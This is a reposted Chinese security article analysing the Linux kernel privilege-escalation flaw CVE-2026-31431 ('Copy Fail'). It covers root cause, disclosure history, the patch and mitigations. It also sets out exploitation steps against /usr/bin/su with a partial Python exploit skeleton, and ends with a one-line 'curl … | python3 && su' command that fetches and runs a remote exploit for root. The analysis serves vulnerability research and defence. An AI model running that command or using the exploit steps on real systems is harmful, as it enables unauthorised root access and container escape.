CopyFail不用竞态、不用崩溃——十年来最「优雅」的Linux提权漏洞(CVE-2026-31431)

admin 2026-05-01 06:02:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-31431(CopyFail)是Linux内核中一个无需竞争条件的本地提权漏洞,通过AFALG套接字和splice()机制将文件页缓存混入可写散射列表,利用authencesn算法的越界写入污染setuid二进制文件的页缓存实现root权限获取。该漏洞影响所有主流发行版且具备容器逃逸能力,官方通过回退原地操作优化完成修复,建议及时升级内核或禁用algifaead模块。 综合评分: 87 文章分类: 漏洞分析,红队,内网渗透,云安全,应急响应


cover_image

Copy Fail 不用竞态、不用崩溃——十年来最「优雅」的 Linux 提权漏洞 (CVE-2026-31431)

Xint Xint

赛博知识驿站

2026年4月30日 11:45 中国香港

在小说阅读器读本章

去阅读

在Linux的世界里,提权漏洞并不罕见,但能做到“稳、准、狠”的却屈指可数。Xint Code团队近期披露的CVE-2026-31431(代号Copy Fail),硬是凭借732字节的极简代码,在所有主流Linux发行版上拿到了root权限。这不仅是一个本地提权漏洞,更是一个容器逃逸的绝佳跳板。该漏洞可能导致严重的安全风险,其精妙的逻辑缺陷,值得每一位安全从业者深思。

Copy Fail: 732字节通杀主流Linux发行版

Copy Fail凭什么与众不同

提到Linux提权,老玩家肯定会想起Dirty Cow(CVE-2016-5195)和Dirty Pipe(CVE-2022-0847)。前者要在虚拟机子系统里赌运气赢竞争条件,稍有不慎就内核崩溃;后者则对版本卡得死,还得精雕细琢管道缓冲区。

相比之下,Copy Fail简直是一股清流——它是一条直球逻辑缺陷,无需竞争,无需重试,更没有容易翻车的时机窗口。

无脑跨平台。一套脚本通吃Ubuntu、Amazon Linux、RHEL、SUSE,不看发行版偏移,不碰编译器,连版本校验都省了。

极致轻量。区区732字节的Python脚本,只依赖标准库(ossocketzlib),无需安装任何额外包,堪称“短小精悍”。

极度隐蔽。写入操作直接绕过VFS常规路径,内核回写机制压根没给脏页打标。磁盘文件纹丝不动,常规的磁盘校验全成瞎子,只有内存里的页缓存遭了殃。

跨界打击。页缓存是全系统共享的,容器边界也拦不住。Copy Fail不仅是本地提权,更是容器逃逸和K8s节点沦陷的利器。


病根:页缓存页混入可写散射列表

想要理解这个漏洞,得先搞懂几个关键组件的化学反应。

AF_ALG是个大方的主,允许无特权用户直接调用内核加密子系统。而splice()则是个搬运工,它能在文件描述符和管道间零拷贝传递数据,直接把页缓存页面的引用丢过去。

当用户把文件splice进管道,再喂给AF_ALG套接字时,套接字的输入散射列表就直接捏住了内核缓存的页面。注意,这里没复制,是指针直指物理页面。

在AEAD解密时,algif_aead.c里的recvmsg()搞了个“原地操作”——输入和输出用同一个散射列表。AAD和密文老老实实通过memcpy_sglist拷贝了,但最后的认证标签却偷了个懒,只用sg_chain()把原引用链接到了输出列表尾部。

这下好看了:输出散射列表分成了两半,前半截是用户的接收缓冲区,后半截直接挂上了目标文件的页缓存页面。内核还大笔一挥,设置了req->src = req->dst

这种设计把页缓存页面放进了可写列表里,仅仅靠一个偏移量隔着。它默认所有AEAD算法都会乖乖待在规定区域写入,但现实往往比理想骨感。


导火索:authencesn的草稿纸操作

内核的AEAD API定下了规矩:解密输出的目标缓冲区只能接收AAD和明文。但authencesn这个为IPsec扩展序列号(ESN)服务的算法,偏偏是个不守规矩的刺头。

IPsec用64位序列号,线路上只传低位,高位隐含。为了算HMAC,authencesn得把字节重新排布:高位挪前头,低位追加后头。怎么挪?它竟然把调用者的目标缓冲区当成了草稿纸!

crypto_authenc_esn_decrypt()中,它先读了AAD前8字节,接着覆盖了dst[4..7],最要命的是第三步——直接在dst[assoclen + cryptlen]位置写入了4字节的seqno_lo。这完全越界了!算法把这当成了临时便签,用完就扔,根本不管原来写的啥,无论操作成败,原始数据都永不恢复。

AF_ALG的原地操作路径下,这次越界写入直接跨过了输出缓冲区,踩进了链接进来的页缓存标签页。内核通过kmap_local_page映射页面,把seqno_lo硬生生写进了目标文件的缓存副本。即便后续HMAC校验失败返回错误,这4字节的脏数据也已经落袋为安。

更惊艳的是,攻击者对这次写入拥有绝对控制权:

写哪个文件:当前用户可读的任意文件。 写在哪个偏移:通过调整splice偏移、长度和assoclen,精确定位4字节落点。 写什么值:4字节覆写值来源于AAD的4-7字节,完全由攻击者在sendmsg()中构造。


历史轮回:偶然与必然的交织

冰冻三尺非一日之寒,这个漏洞的形成堪称一场跨年代的“巧合”。

2011年,authencesn刚进内核,用目标缓冲区当草稿纸的操作就存在了。那时候相安无事,因为旧接口下关联数据在单独的列表里,且只有内核内部的xfrm层调用它,没人能看到中间的越界写入。

2015年,AF_ALG迎来了AEAD支持和splice()路径,authencesn也换了新接口,引入了那个越界偏移量。但当时的AF_ALG是异位操作,页缓存页面在只读的src里,草稿写在用户的dst里,依然安全。

转折点在2017年,一次旨在提升性能的原地操作优化登场。为了省事,代码把标签页直接链接进了可写的目标列表,然后设置了req->src = req->dst。至此,页缓存页面落入可写列表,authencesn的越界写终于找到了突破口。

每个改动单看都合情合理,但三线交汇,便孕育出了存在长达近十年的致命弱点。这不仅是代码的疏漏,更是复杂系统演进中难以避免的暗礁。


实战利用

目标直指各大Linux发行版标配的/usr/bin/su——一个带有setuid-root属性的二进制文件。

第一步:搭建舞台。打开AF_ALG套接字,绑定authencesn(hmac(sha256),cbc(aes)),设置密钥。无需任何特权,一切顺理成章。

第二步:精巧布局。针对shellcode的每4字节,构造一对sendmsg()splice()sendmsg在AAD的4-7字节夹带要写入的私货,splice把目标文件的页缓存页面作为密文和标签送入。精心计算参数,让越界写入精准落在su.text段。

第三步:扣动扳机。调用recv()触发解密。内核在authencesn内部一通操作,4字节写入页缓存。HMAC校验失败又如何?错误码返回又如何?页缓存早已被污染。

第四步:加冕为王。所有字节写完,执行execve("/usr/bin/su")。内核从页缓存加载二进制,注入的shellcode顺势运行。因为susetuid-root,直接拿到UID 0。大功告成。

a = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# ... set key, accept request socket u ...
u.sendmsg([b"A"*4 + payload_chunk], [cmsg_headers], MSG_MORE)
os.splice(target_fd, pipe_wr, offset)
os.splice(pipe_rd, alg_fd, offset)
u.recv(...)  # triggers decrypt → page cache write

实测演示

事实胜于雄辩。同一套732字节的脚本,在四大发行版上均实现了从普通用户到root的跃迁。

| 发行版 | 内核版本 | | — | — | | Ubuntu 24.04 LTS | 6.17.0-1007-aws | | Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | | RHEL 14.3 | 6.12.0-124.45.1.el10_1 | | SUSE 16 | 6.12.0-160000.9-default |


修复方案:釜底抽薪

破局之道,在于釜底抽薪。官方补丁直接回退了2017年的原地操作优化,将algif_aead.c打回异位操作的原形。

以前srcdst共用一个列表,页缓存页面混迹其中;现在src指向可能包含页缓存的TX列表,dst指向用户的RX缓冲区,泾渭分明。那个把页缓存标签页链接进可写目标的sg_chain机制,也被彻底移除。

// 漏洞代码:src和dst是同一个散射列表(原地操作)
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,              // RX SGL
                       areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv); // RX SGL (same)

// 修复代码:src是TX SGL,dst是RX SGL(异位操作)
aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src,              // TX SGL
                       areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv); // RX SGL (different)

正如提交信息所言:“既然源头和目的地来自不同的映射,原地操作毫无益处。”


修复指南

亡羊补牢,为时未晚。

升级内核。这是治本之策,各大发行版理应尽快推送包含补丁的内核更新。

紧急止血。若来不及升级,可通过seccomp阻断AF_ALG套接字创建,或者直接拉黑algif_aead模块:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

协同披露时间线

| 日期 | 事件 | | — | — | | 2026-03-23 | 向Linux内核安全团队报告漏洞 | | 2026-03-24 | 收到初步确认 | | 2026-03-25 | 提出补丁并进行审查 | | 2026-04-01 | 补丁合入主线内核 | | 2026-04-22 | 分配CVE-2026-31431 | | 2026-04-29 | 公开披露 |


溯源:人机协同的默契

真正的智慧,在于人机协同的默契。

Theori研究员Taeyang Lee此前在kernelCTF中的工作,已经摸清了AF_ALG的攻击面。他敏锐地察觉到,AF_ALG加上splice(),等于给无特权用户开了一扇直通内核加密子系统的后门,散射列表的页面出处绝对是一片未开垦的漏洞沃土。

此时,Xint Code登场。研究团队为它提供了一个简单的“操作员提示”:

这是linux crypto/子系统。请检查所有从用户空间系统调用可达的代码路径。注意一个关键观察:splice()可以将只读文件(包括setuid二进制文件)的页缓存引用传递给加密TX散射列表。

仅仅一小时后,扫描完成,Copy Fail作为最高严重级别结果赫然在列。

Xint Code对CVE-2026-31431的扫描结果

AI的算力与人类的直觉,在此刻完成了惊艳的合璧。据透露,此次扫描还发现了其他高危漏洞,包括另一个提权漏洞,目前仍在走合规的披露流程。

原文:https://xint.io/blog/copy-fail-linux-distributions 获取Root: curl https://copy.fail/exp | python3 && su


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博知识驿站 Xint Xint《Copy Fail 不用竞态、不用崩溃——十年来最「优雅」的 Linux 提权漏洞 (CVE-2026-31431)》

评论:0   参与:  0